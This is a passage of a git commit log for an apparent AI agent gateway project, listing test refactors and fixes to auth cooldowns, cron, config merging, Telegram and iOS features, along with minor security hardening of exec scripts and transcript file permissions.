2026-02-16 13:25:58 -06:00
nabbilkhan
250896cf6e fix: correct contradictory test name (Greptile review)
The test verifies that cooldownUntil IS cleared when it equals exactly
`now` (>= comparison), but the test name said "does not clear". Fixed
the name to match the actual assertion behavior.
2026-02-16 12:53:45 -06:00
nabbilkhan
03cadc4b7a fix(auth): auto-expire stale auth profile cooldowns and reset error count
When an auth profile hits a rate limit, `errorCount` is incremented and
`cooldownUntil` is set with exponential backoff. After the cooldown
expires, the time-based check correctly returns false — but `errorCount`
persists. The next transient failure immediately escalates to a much
longer cooldown because the backoff formula uses the stale count:

  60s × 5^(errorCount-1), max 1h

This creates a positive feedback loop where profiles appear permanently
stuck after rate limits, requiring manual JSON editing to recover.

Add `clearExpiredCooldowns()` which sweeps all profiles on every call to
`resolveAuthProfileOrder()` and clears expired `cooldownUntil` /
`disabledUntil` values along with resetting `errorCount` and
`failureCounts` — giving the profile a fair retry window (circuit-breaker
half-open → closed transition).

Key design decisions:
- `cooldownUntil` and `disabledUntil` handled independently (a profile
  can have both; only the expired one is cleared)
- `errorCount` reset only when ALL unusable windows have expired
- `lastFailureAt` preserved for the existing failureWindowMs decay logic
- In-memory mutation; disk persistence happens lazily on the next store
  write, matching the existing save pattern

Fixes #3604
Related: #13623, #15851, #11972, #8434
2026-02-16 12:53:45 -06:00
Shadow
d3707147c0 chore: update carbon 2026-02-16 12:45:08 -06:00
Vignesh Natarajan
1cf3aba3f6 chore (changelog): note qmd multi-agent startup fix 2026-02-16 10:35:48 -08:00
Vignesh Natarajan
02c268eec1 fix (gateway/memory): start qmd onBoot for all agents 2026-02-16 10:35:26 -08:00
Vignesh
b0a01fe482 Agents/Tools: preflight exec script files for shell var injection (#18457)
* fix(agents): don't force store=true for codex responses

* test: stabilize respawn + subagent usage assertions

* Agents/Tools: preflight exec to detect shell variable injection in scripts

* Changelog: fix merge marker formatting
2026-02-16 10:34:29 -08:00
Peter Steinberger
9b70849567 refactor(test): dedupe trusted-proxy auth test setup 2026-02-16 18:31:37 +00:00
Peter Steinberger
96eabcbe89 refactor(test): share antigravity usage endpoint fixtures 2026-02-16 18:31:31 +00:00
Peter Steinberger
b0035a1e49 refactor(test): table-drive web tool defaults checks 2026-02-16 18:31:27 +00:00
Peter Steinberger
8a1893a215 refactor(test): table-drive legacy config policy assertions 2026-02-16 18:25:04 +00:00
Peter Steinberger
9372df45f2 refactor(test): table-drive auth choice option checks 2026-02-16 18:25:04 +00:00
Peter Steinberger
23480bb4e3 refactor(test): dedupe trigger model command fixtures 2026-02-16 18:25:04 +00:00
Peter Steinberger
9ff473fa05 refactor(test): share sandbox config test helpers 2026-02-16 18:25:04 +00:00
Peter Steinberger
30c8361d0a refactor(test): dedupe isolated cron turn setup 2026-02-16 18:25:04 +00:00
Shadow
1b7301051b Config: require Discord ID strings (#18220) 2026-02-16 12:22:58 -06:00
Peter Steinberger
5d40d47501 refactor(test): reduce dispatch-from-config setup duplication 2026-02-16 18:09:49 +00:00
Peter Steinberger
74c49c943d refactor(test): share web fetch e2e setup helpers 2026-02-16 18:09:45 +00:00
Peter Steinberger
9c6e879a06 refactor(test): dedupe heartbeat runner e2e scaffolding 2026-02-16 18:09:38 +00:00
Peter Steinberger
c7e386982f refactor(test): dedupe agent and memory cli test setup 2026-02-16 17:57:45 +00:00
Peter Steinberger
616d4692a9 refactor(hooks): share install temp-dir and archive fixtures 2026-02-16 17:57:45 +00:00
Peter Steinberger
9a29d7833b refactor(cli): dedupe browser and hooks command handlers 2026-02-16 17:57:45 +00:00
Nimrod Gutman
5a39e13c92 fix(ios): restore missing location monitor merge files (#18260)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f60cd10f6d
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Reviewed-by: @ngutman
2026-02-17 01:41:53 +08:00
Mariano
f2e12646b4 docs(changelog): credit @Marvae for iOS onboarding QR (#18325)
Co-authored-by: Mariano Belinky <mariano@mb-server-643.local>
2026-02-16 17:39:53 +00:00
Mariano
9e26fe4459 fix(ios): gate talk barge-in on isolated audio routes (#18265)
Co-authored-by: Mariano Belinky <mariano@mb-server-643.local>
2026-02-16 17:37:10 +00:00
Mariano
b3859b488c feat(ios): add background listening core toggle (#18261)
Co-authored-by: Mariano Belinky <mariano@mb-server-643.local>
2026-02-16 17:36:17 +00:00
Mariano
ad27716d3f feat(ios): add Talk voice directive hint toggle (#18250)
* feat(ios): add Talk voice directive hint toggle

* docs(changelog): credit voice directive hint slice

---------

Co-authored-by: Mariano Belinky <mariano@mb-server-643.local>
2026-02-16 17:33:42 +00:00
Peter Steinberger
d688188864 refactor(tests): share outbound runner and delivery helpers 2026-02-16 17:22:26 +00:00
Peter Steinberger
71111c9978 refactor(tests): dedupe gateway send and threading fixtures 2026-02-16 17:22:26 +00:00
Peter Steinberger
291275982c refactor(web): reuse send api + access-control test helpers 2026-02-16 17:22:26 +00:00
Peter Steinberger
94a4dd0189 refactor(gateway): dedupe wizard and exec approval handler paths 2026-02-16 17:22:26 +00:00
Ayaan Zaidi
16327f21da feat(telegram): support inline button styles (#18241)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 239cb3552e
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-16 22:48:47 +05:30
Peter Steinberger
a177f7b9fe refactor(tests): dedupe slack telegram and web monitor setup 2026-02-16 17:06:40 +00:00
Peter Steinberger
8df83d1835 refactor(core): extract shared runtime and wizard schemas 2026-02-16 17:06:40 +00:00
Peter Steinberger
c37f65a449 refactor(tests): share harnesses for cli and monitor fixtures 2026-02-16 17:06:40 +00:00
Peter Steinberger
b991919755 refactor(cron): dedupe next-run recompute paths 2026-02-16 17:06:40 +00:00
Gustavo Madeira Santana
8a67016646 Agents: raise bootstrap total cap and warn on /context truncation (#18229)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f6620526df
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-16 12:04:53 -05:00
Peter Steinberger
5b185da366 refactor(test): remove remaining command test duplication 2026-02-16 16:52:53 +00:00
Peter Steinberger
0d51869c3c refactor(test): consolidate doctor health and sandbox fixtures 2026-02-16 16:48:55 +00:00
Peter Steinberger
2d8edf85ad refactor(test): share onboarding and model auth test helpers 2026-02-16 16:48:55 +00:00
Peter Steinberger
ac5f6e7c9d refactor(test): dedupe agent and status command fixtures 2026-02-16 16:48:55 +00:00
Mariano
44ef045614 fix(canvas): port remaining iOS branch stability fixes (#18228)
* fix(canvas): prevent snapshot disconnects on proxied gateways

(cherry picked from commit 2a3c9f746a65f3301c0cfe58ebe6596fed06230f)

* fix(canvas): accept url alias for present and navigate

(cherry picked from commit 674ee86a0b776cbb738add1920a4031246125312)

---------

Co-authored-by: Nimrod Gutman <nimrod.g@singular.net>
2026-02-16 16:42:28 +00:00
Ayaan Zaidi
c8a536e30a fix(agents): scope message tool schema by channel (#18215)
Co-authored-by: Shadow <shadow@openclaw.ai>
2026-02-16 10:34:18 -06:00
Peter Steinberger
3a2fffefdb refactor(test): centralize doctor e2e runtime and snapshot scaffolding 2026-02-16 16:32:37 +00:00
Peter Steinberger
ffeeb835aa refactor(test): extract shared doctor migration test setup 2026-02-16 16:32:37 +00:00
Peter Steinberger
261f5ee492 refactor(test): dedupe command config and model test fixtures 2026-02-16 16:32:37 +00:00
Mariano
130e59a9c0 iOS: port onboarding + QR pairing flow stability (#18162)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a87eadea19
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 16:22:51 +00:00
Peter Steinberger
df6d0ee92b refactor(core): dedupe tool policy and IPv4 matcher logic 2026-02-16 16:14:54 +00:00
Peter Steinberger
110b1cf46f refactor(test): centralize auth test env lifecycle cleanup 2026-02-16 16:10:18 +00:00
Mariano
9a1e168685 iOS: port gateway connect/discovery stability + onboarding reset (#18164)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8165ec5bae
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 16:07:22 +00:00
Peter Steinberger
def3a3ced1 refactor(test): reduce auth and channel setup duplication 2026-02-16 16:03:22 +00:00
Peter Steinberger
9adcaccd0b refactor(test): share non-interactive onboarding test helpers 2026-02-16 16:03:22 +00:00
Mariano
2e7fac2231 iOS: port talk redaction, accessibility, and ATS hardening (#18163)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8a9a05f04e
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 16:00:08 +00:00
Peter Steinberger
db3480f9b5 refactor(test): reuse provider-auth onboarding config helper 2026-02-16 15:53:13 +00:00
Mariano
6effcdb551 OpenClawKit: stabilize iOS ChatUI updates after gateway replies (#18165)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9b6e38d5be
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 15:51:11 +00:00
Peter Steinberger
f1351fc545 refactor(test): centralize auth test agent-dir helpers 2026-02-16 15:44:33 +00:00
Peter Steinberger
36a5ff8135 refactor(test): consolidate provider-auth config snapshot typing 2026-02-16 15:42:50 +00:00
Peter Steinberger
a948a3bd00 refactor(test): share gateway onboarding state-dir lifecycle 2026-02-16 15:40:48 +00:00
Peter Steinberger
a0e8f00b20 refactor(test): simplify auth-choice profile assertions 2026-02-16 15:38:37 +00:00
Peter Steinberger
716872c174 refactor(test): dedupe agents identity test setup 2026-02-16 15:38:37 +00:00
Mariano
68e39cf2c3 CLI: restore and harden qr --remote pairing behavior (#18166)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a79fc2a3c6
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 15:38:07 +00:00
Peter Steinberger
1633c6fe98 refactor(test): dedupe auth-choice e2e setup plumbing 2026-02-16 15:25:45 +00:00
Peter Steinberger
94f455c693 refactor(test): share auth test env/profile helpers 2026-02-16 15:25:45 +00:00
Peter Steinberger
1d37389490 test: annotate harness mocks to avoid TS2742 in CI 2026-02-16 15:19:11 +00:00
Peter Steinberger
a1ca9291f3 test(agents): fix reasoning replay input assertion helper 2026-02-16 14:59:31 +00:00
Peter Steinberger
93ca0ed54f refactor(channels): dedupe transport and gateway test scaffolds 2026-02-16 14:59:31 +00:00
Peter Steinberger
f717a13039 refactor(agent): dedupe harness and command workflows 2026-02-16 14:59:30 +00:00
Peter Steinberger
04892ee230 refactor(core): dedupe shared config and runtime helpers 2026-02-16 14:59:30 +00:00
Peter Steinberger
544ffbcf7b refactor(extensions): dedupe connector helper usage 2026-02-16 14:59:30 +00:00
Peter Steinberger
bc55ffb160 test: isolate qr/setup-code token env in unit tests 2026-02-16 14:58:38 +00:00
Peter Steinberger
c9f2c3aef9 test: trim redundant non-stop abort assertion 2026-02-16 14:58:38 +00:00
Peter Steinberger
fc9fae2c29 chore(changelog): restore 2026.2.15 and move entries to 2026.2.16 2026-02-16 15:53:00 +01:00
Mariano
599c890221 CLI/Gateway: restore qr flow with --remote support (clean) (#18091)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4bee77ce06
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-16 14:48:14 +00:00
pierreeurope
fec4be8dec fix(cron): prevent daily jobs from skipping days (48h jump) #17852 (#17903)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 1ffe6a45af
Co-authored-by: pierreeurope <248892285+pierreeurope@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:35:49 -05:00
brandonwise
095d522099 fix(security): create session transcript files with 0o600 permissions (#18066)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 962f497d24
Co-authored-by: brandonwise <21148772+brandonwise@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:33:40 -05:00
sebslight
6931f0fb50 refactor(telegram): avoid double-wrapping proxy fetch 2026-02-16 08:24:55 -05:00
sebslight
b4fa10ae67 refactor(infra): make fetch wrapping idempotent 2026-02-16 08:24:55 -05:00
sebslight
7b8cce0910 test(config): normalize merge-patch regression fixture formatting 2026-02-16 08:24:55 -05:00
sebslight
5b8bfd261b test(gateway): cover mixed-id config.patch rollback 2026-02-16 08:24:55 -05:00
sebslight
f4b2fd00bc fix(config): harden object-array merge-by-id fallback 2026-02-16 08:24:55 -05:00
Hongwei Ma
dddb1bc942 fix(telegram): fix streaming with extended thinking models overwriting previous messages/ also happens to Execution error (#17973)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 34b52eead8
Co-authored-by: Marvae <11957602+Marvae@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-16 18:54:34 +05:30
sebslight
553d17f8af refactor(agents): use silent token constant in prompts 2026-02-16 08:20:24 -05:00
Jackten
e3e8046a93 fix(infra): avoid detached finally unhandled rejection in fetch wrapper (#18014)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4ec21c89cb
Co-authored-by: Jackten <2895479+Jackten@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:17:23 -05:00
不做了睡大觉
cb391f4bdc fix(config): prevent config.patch from destroying arrays when patch entries lack id (#18030)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a857df9e32
Co-authored-by: stakeswky <64798754+stakeswky@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:13:51 -05:00
sebslight
3a277e394e test(agents): add cooldown expiry helper regressions 2026-02-16 08:10:52 -05:00
sebslight
d224776ffb refactor(agents): extract cooldown probe decision helper 2026-02-16 08:10:52 -05:00
zerone0x
c2a0cf0c28 fix(tts): update tool description to prevent duplicate audio delivery (#18046)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 70c096abaa
Co-authored-by: zerone0x <39543393+zerone0x@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:09:02 -05:00
Ítalo Souza
39bb1b3322 fix: auto-recover primary model after rate-limit cooldown expires (#17478) (#18045)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f7a7865727
Co-authored-by: PlayerGhost <28265945+PlayerGhost@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 08:03:35 -05:00
yinghaosang
244ed9db39 fix(telegram): draft stream preview not threaded when replyToMode is on (#17880) (#17928)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: cfd4181a23
Co-authored-by: yinghaosang <261132136+yinghaosang@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-16 18:10:24 +05:30
Ayaan Zaidi
b2aa6e094d fix(telegram): prevent non-abort slash commands from racing chat replies (#17899)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 5c2f6f2c96
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-16 16:21:10 +05:30
Advait Paliwal
bc67af6ad8 cron: separate webhook POST delivery from announce (#17901)
* cron: split webhook delivery from announce mode

* cron: validate webhook delivery target

* cron: remove legacy webhook fallback config

* fix: finalize cron webhook delivery prep (#17901) (thanks @advaitpaliwal)

---------

Co-authored-by: Tyler Yust <TYTYYUST@YAHOO.COM>
2026-02-16 02:36:00 -08:00
Peter Steinberger
d841c9b26b test: remove duplicate replyToTag assertion in split-tag case 2026-02-16 10:02:59 +00:00
Peter Steinberger
597f956a4f test: remove duplicate existing-id all-mode planner case 2026-02-16 10:01:58 +00:00
Peter Steinberger
f043f2d8c9 test: trim duplicate first-mode hasReplied assertion variant 2026-02-16 10:00:57 +00:00
Peter Steinberger
a4e7f256db test: drop redundant off-mode hasReplied assertion 2026-02-16 09:59:59 +00:00
Peter Steinberger
893f56b87d test: remove redundant multi-variable template resolution case 2026-02-16 09:59:09 +00:00
Peter Steinberger
4da68afc73 test: remove duplicate off-mode existing-id planner case 2026-02-16 09:58:05 +00:00
Peter Steinberger
7cfd0aed5f test: remove duplicate non-date negative-case assertion 2026-02-16 09:56:46 +00:00
Peter Steinberger
d611db8049 test: remove duplicate provider-prefix assertion variant 2026-02-16 09:55:44 +00:00
Peter Steinberger
3eb9c2105c test: remove duplicate date-suffix assertion variant 2026-02-16 09:54:56 +00:00
Peter Steinberger
9f6462bd56 test: trim duplicate latest-suffix assertion variant 2026-02-16 09:54:05 +00:00
Peter Steinberger
2d03473072 test: trim duplicate provider-prefix assertion in short-model tests 2026-02-16 09:52:16 +00:00
Peter Steinberger
dbcdcc5d19 test: remove duplicate positive template-variable detection case 2026-02-16 09:51:09 +00:00
Peter Steinberger
c4297a8d60 test: remove redundant no-provider short-model case 2026-02-16 09:49:58 +00:00
Peter Steinberger
deef9f91bf test: remove duplicate multi-variable template check case 2026-02-16 09:48:51 +00:00
Peter Steinberger
523193a91f test: remove duplicate static template-variable false case 2026-02-16 09:47:45 +00:00
Peter Steinberger
cd04385f9f test: remove redundant provider-plus-date model-name case 2026-02-16 09:46:44 +00:00
Peter Steinberger
82fa526bb0 test: remove duplicate undefined template-variable guard case 2026-02-16 09:45:51 +00:00
Peter Steinberger
3fb4a7eb53 test: remove duplicate hook-wake heartbeat empty-file case 2026-02-16 09:44:16 +00:00
Peter Steinberger
7a6928712b test: remove redundant explicit telegram heartbeat target case 2026-02-16 09:43:01 +00:00
Peter Steinberger
9b351fcbd8 test: remove duplicate whatsapp group heartbeat target case 2026-02-16 09:41:50 +00:00
Peter Steinberger
d3ddf893c2 test: remove redundant store-rotation integration prune case 2026-02-16 09:39:48 +00:00
Peter Steinberger
a597bd26d4 test: remove duplicate direct-enabled whatsapp ack variant 2026-02-16 09:37:42 +00:00
Peter Steinberger
6fa150a890 test: trim redundant whatsapp mention-true ack reaction case 2026-02-16 09:36:02 +00:00
Peter Steinberger
93ad783c1b test: remove redundant slash channel-policy integration case 2026-02-16 09:34:35 +00:00
Peter Steinberger
acc6b62289 test: remove low-value private-channel lookup slash edge case 2026-02-16 09:32:38 +00:00
Peter Steinberger
fec1566f04 test: remove duplicate ack-reaction none-scope branch case 2026-02-16 09:30:33 +00:00
Peter Steinberger
ced5148afd test: remove redundant identity emoji response-prefix case 2026-02-16 09:29:41 +00:00
Peter Steinberger
c0973f24c6 test: remove low-value concurrency passthrough unit case 2026-02-16 09:28:20 +00:00
Peter Steinberger
6a392b8493 test: trim redundant ack-reaction removeAfterReply guard case 2026-02-16 09:27:12 +00:00
Peter Steinberger
f8ae538985 test: remove low-value slash arg-menu payload-shape case 2026-02-16 09:25:34 +00:00
Peter Steinberger
b63f9b7066 test: remove redundant configured memory-flush prompt case 2026-02-16 09:23:03 +00:00
Peter Steinberger
4e3429ae6e test: remove low-value typing-without-consumer variant 2026-02-16 09:22:17 +00:00
Peter Steinberger
78976d3f6f test: remove low-value dm-fallback slash access edge case 2026-02-16 09:21:39 +00:00
Peter Steinberger
e30900f93e test: remove low-value deprecated pruneDays e2e mapping case 2026-02-16 09:20:40 +00:00
Peter Steinberger
cef02df9d5 test: remove redundant explicit-deny slash policy case 2026-02-16 09:19:55 +00:00
Peter Steinberger
0f7ad51020 test: remove low-signal malformed slash button edge case 2026-02-16 09:18:36 +00:00
Peter Steinberger
4e16893c61 test: remove low-value memory-flush ro workspace case 2026-02-16 09:17:47 +00:00
Peter Steinberger
192dbc3ba9 test: drop duplicate role-ordering exception rewrite case 2026-02-16 09:16:11 +00:00
Peter Steinberger
d0b0ca9fcf test: remove low-value open-policy slash channel case 2026-02-16 09:15:18 +00:00
Peter Steinberger
22c53af604 test: remove redundant saveSessionStore cap e2e case 2026-02-16 09:13:56 +00:00
Peter Steinberger
54948a1d44 test: remove redundant maintenance config mapping e2e case 2026-02-16 09:13:05 +00:00
Peter Steinberger
22a1a56e7e test: remove low-value maintenance defaults e2e assertion 2026-02-16 09:11:17 +00:00
Peter Steinberger
15f8c57797 test: speed up subagent announce e2e and drop duplicate defer case 2026-02-16 09:10:11 +00:00
Peter Steinberger
404a8bc35f test: remove redundant pruning-plus-capping e2e case 2026-02-16 09:07:24 +00:00
Peter Steinberger
7a4c131d6b test: remove low-value mirrored-text media-filename unit case 2026-02-16 09:05:38 +00:00
Peter Steinberger
b156aafab9 test: remove low-value direct metadata-mapping unit case 2026-02-16 09:04:20 +00:00
Peter Steinberger
838d875fcb test: remove low-value custom-root agent-extraction path case 2026-02-16 09:03:07 +00:00
Peter Steinberger
7932387df2 test: remove low-value stale-prune no-updatedAt edge case 2026-02-16 09:02:08 +00:00
Peter Steinberger
4d2ba58da5 test: remove low-value legacy dm-direct fallback permutation 2026-02-16 09:00:54 +00:00
Peter Steinberger
7d26eae3ee test: remove low-value no-updatedAt cap-priority edge case 2026-02-16 09:00:02 +00:00
Peter Steinberger
5dc02aa55e test: remove low-value concurrent store-entry merge permutation 2026-02-16 08:58:43 +00:00
Peter Steinberger
c8704297b2 test: remove low-value relative traversal session-file guard case 2026-02-16 08:57:45 +00:00
Peter Steinberger
eb7b5c02c3 test: remove low-value cross-storepath lock parallelism case 2026-02-16 08:56:28 +00:00
Peter Steinberger
314f193030 fix(ci): run scope detection on blacksmith runners 2026-02-16 09:56:11 +01:00
Peter Steinberger
d5bc5ab7ba test: remove low-value resolveStorePath tilde-expansion unit case 2026-02-16 08:54:55 +00:00
Peter Steinberger
fecd623431 test: remove duplicate reset precedence permutation case 2026-02-16 08:53:51 +00:00
Peter Steinberger
1e4cf489e0 fix(ci): keep main runs alive while coalescing newer pushes 2026-02-16 09:53:36 +01:00
Peter Steinberger
5d8f43ae8e test: remove duplicate explicit-agent fallback path case 2026-02-16 08:52:55 +00:00
Peter Steinberger
896f9efcb7 test: remove low-value absolute-in-dir session-file happy path 2026-02-16 08:51:41 +00:00
Peter Steinberger
f448e4bf77 test: remove low-value lock queue cleanup bookkeeping case 2026-02-16 08:50:59 +00:00
Peter Steinberger
ada7a6289f fix(ci): dedupe docker release runs by ref 2026-02-16 09:50:37 +01:00
Peter Steinberger
731d72e119 test: remove redundant in-dir relative session-file acceptance case 2026-02-16 08:49:41 +00:00
Peter Steinberger
bf801f5159 test: remove low-value unknown-session mirror guard case 2026-02-16 08:48:23 +00:00
Peter Steinberger
929a96c2f8 test: remove low-signal mirrored-text trim unit case 2026-02-16 08:47:45 +00:00
Peter Steinberger
2983ef0243 fix(ci): use ref-based concurrency across workflows 2026-02-16 09:47:07 +01:00
Peter Steinberger
b5183c93d6 test: remove low-value lock-storePath guard wrapper test 2026-02-16 08:46:49 +00:00
Peter Steinberger
bd0e7d3d22 test: remove low-value positive session-id validation case 2026-02-16 08:45:30 +00:00
Peter Steinberger
19dfdfe5a8 test: remove low-value missing-session-key mirror guard case 2026-02-16 08:44:46 +00:00
Peter Steinberger
2d6b605cc3 test: remove low-value session-file options wrapper assertion 2026-02-16 08:44:01 +00:00
Peter Steinberger
025d4152d1 fix(ci): key concurrency by ref instead of sha 2026-02-16 09:42:58 +01:00
Peter Steinberger
f9419e26bb test: remove duplicate empty-text mirror integration case 2026-02-16 08:42:38 +00:00
Peter Steinberger
a4f86dc433 test: remove low-value session-file options agent-only case 2026-02-16 08:41:46 +00:00
Peter Steinberger
0c035c85ab test: remove redundant single-error lock queue recovery case 2026-02-16 08:40:34 +00:00
Peter Steinberger
aabc09bb9b test: remove duplicate lock-queue cleanup success case 2026-02-16 08:39:43 +00:00
Peter Steinberger
0d2e13fb73 test: remove redundant transcript-path wrapper case 2026-02-16 08:38:18 +00:00
Peter Steinberger
4f05d045b9 test: remove duplicate absolute outside-session-path guard case 2026-02-16 08:37:19 +00:00
Peter Steinberger
3daaa19426 fix(ci): use JDK 17 for Android SDK setup 2026-02-16 09:36:54 +01:00
Peter Steinberger
ec00efb38d test: remove duplicate reset-by-type direct selection case 2026-02-16 08:36:30 +00:00
Peter Steinberger
83a5f7ba8c test: remove duplicate passthrough storePath guard case 2026-02-16 08:35:14 +00:00
Peter Steinberger
6a759c9191 test: remove duplicate empty-storePath guard case 2026-02-16 08:34:22 +00:00
Peter Steinberger
f6b7736744 test: remove redundant absolute topic-suffix session-file case 2026-02-16 08:33:33 +00:00
Ayaan Zaidi
b6a9741ba4 refactor(telegram): simplify send/dispatch/target handling (#17819)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: fcb7aeeca3
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-16 14:00:34 +05:30
Peter Steinberger
1f607bec49 test: remove low-value no-rotation file-size case 2026-02-16 08:24:46 +00:00
Peter Steinberger
3dbb69da05 test: remove duplicate session file options fallback case 2026-02-16 08:23:52 +00:00
Peter Steinberger
49d383ba7c test: remove redundant default-root explicit fallback case 2026-02-16 08:23:09 +00:00
Peter Steinberger
e72e8ebe62 test: remove redundant default-root extracted fallback case 2026-02-16 08:22:23 +00:00
Peter Steinberger
374ad8c813 test: remove redundant all-stale pruning case 2026-02-16 08:20:51 +00:00
Peter Steinberger
6f4da72cb5 test: remove redundant cap-entry default-fallback case 2026-02-16 08:19:06 +00:00
Peter Steinberger
facf53cc3f test: remove redundant stale-prune default-fallback case 2026-02-16 08:17:51 +00:00
Peter Steinberger
eaec65656f test: remove redundant cap-entry under-limit case 2026-02-16 08:16:34 +00:00
Peter Steinberger
dfaca933c6 test: remove redundant rotate timestamp case 2026-02-16 08:15:20 +00:00
Peter Steinberger
aaf308d7ec test: remove redundant stale-prune under-limit case 2026-02-16 08:13:57 +00:00
Peter Steinberger
d115d48a72 test: remove redundant rotate missing-file no-op case 2026-02-16 08:12:38 +00:00
Peter Steinberger
d174c38737 test: remove redundant stale-prune boundary case 2026-02-16 08:11:40 +00:00
Peter Steinberger
005dbdd13e test: remove redundant stale-prune empty-store case 2026-02-16 08:09:56 +00:00
Peter Steinberger
c31e33cd18 test: remove redundant stale-prune return-count case 2026-02-16 08:08:59 +00:00
Peter Steinberger
f4fbfae97e test: remove redundant cap-entry empty-store case 2026-02-16 08:07:35 +00:00
Peter Steinberger
f349d40e62 test: remove redundant cap-entry return-count case 2026-02-16 08:06:41 +00:00
Peter Steinberger
d71779b46f test: remove redundant session-rotation exact-limit case 2026-02-16 08:05:26 +00:00
Peter Steinberger
df062fdb63 test: remove redundant cap-entry exact-limit case 2026-02-16 08:04:24 +00:00
Peter Steinberger
52ddaed795 test: remove redundant elide exact-limit case 2026-02-16 08:03:02 +00:00
Peter Steinberger
b7a20d8e8d test: remove redundant depth-1 subagent session case 2026-02-16 08:02:10 +00:00
Peter Steinberger
5cb228fdd0 test: remove redundant quick-reply truncation case 2026-02-16 08:00:47 +00:00
Peter Steinberger
8fd6d4d6dd test: remove redundant messageAction default-text case 2026-02-16 07:59:19 +00:00
Peter Steinberger
242e8f5c43 test: remove low-signal line account listing coverage 2026-02-16 07:58:00 +00:00
Peter Steinberger
4aab640fd1 test: remove redundant default-account normalization case 2026-02-16 07:56:41 +00:00
Peter Steinberger
35b6ccd62c test: remove redundant rich-menu action passthrough case 2026-02-16 07:55:39 +00:00
Peter Steinberger
7e1f542233 test: remove redundant uriAction passthrough case 2026-02-16 07:54:37 +00:00
Peter Steinberger
5927c53630 test: remove redundant postback displayText passthrough case 2026-02-16 07:53:10 +00:00
Peter Steinberger
8505577218 test: remove redundant line account-id env listing case 2026-02-16 07:52:08 +00:00
Peter Steinberger
b18b85dc77 test: remove redundant default rich-menu command smoke case 2026-02-16 07:51:04 +00:00
Peter Steinberger
f3eb003db9 test: remove redundant quick-reply creation smoke case 2026-02-16 07:50:02 +00:00
Peter Steinberger
0448693f8f test: remove redundant messageAction passthrough case 2026-02-16 07:49:15 +00:00
Peter Steinberger
e86647889c test: remove redundant datetimepicker passthrough case 2026-02-16 07:47:36 +00:00
Peter Steinberger
993a5e63a1 test: remove redundant yes-no label passthrough case 2026-02-16 07:46:48 +00:00
Peter Steinberger
c01e97f124 test: remove redundant list-card action passthrough case 2026-02-16 07:45:09 +00:00
Peter Steinberger
bf2d78505e test: remove redundant notification title passthrough case 2026-02-16 07:43:03 +00:00
Peter Steinberger
